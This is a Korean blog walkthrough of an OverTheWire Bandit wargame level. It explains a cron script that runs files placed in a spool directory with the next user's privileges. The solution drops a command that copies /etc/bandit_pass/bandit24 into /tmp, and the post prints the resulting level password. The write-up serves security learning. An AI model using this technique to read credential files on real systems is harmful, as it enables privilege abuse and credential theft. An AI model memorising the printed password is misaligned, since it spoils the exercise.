0 views
문제

풀이
1. 셸 스크립트 확인

1.1 분석
#!/bin/bash
myname=$(whoami)
cd /var/spool/$myname/foo
echo "Executing and deleting all scripts in /var/spool/$myname/foo:"
for i in * .*;
do
if [ "$i" != "." -a "$i" != ".." ];
then
echo "Handling $i"
owner="$(stat --format "%U" ./$i)"
if [ "${owner}" = "bandit23" ]; then
timeout -s 9 60 ./$i
fi
rm -f ./$i
fi
done
- 먼저 스크립트에서는 /var/spool/bandit24/foo 라는 디렉터리로 이동하고
- 해당 디렉터리의 모든 파일을 처리한다.\
- 파일 소유권이 bandit23인 경우에만 해당 파일을 실행한다.
2. 스크립트 작성
- 해당 디렉터리에 나의 스크립트를 작성하면 bandit24 소유자로 실행되므로 /etc/bandit_pass/bandit24
- 해당 디렉터리를 읽을 수 있다.
- 따라서 셸 스크립트를 실행하고 나오는 결과를 /tmp에 저장해보자
cat /etc/bandit_pass/bandit24 > /tmp/bandit24_password

3. 결과 확인
cat /tmp/bandit24_password

gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8
'Bandit'카테고리의 다른 글
Loading comments...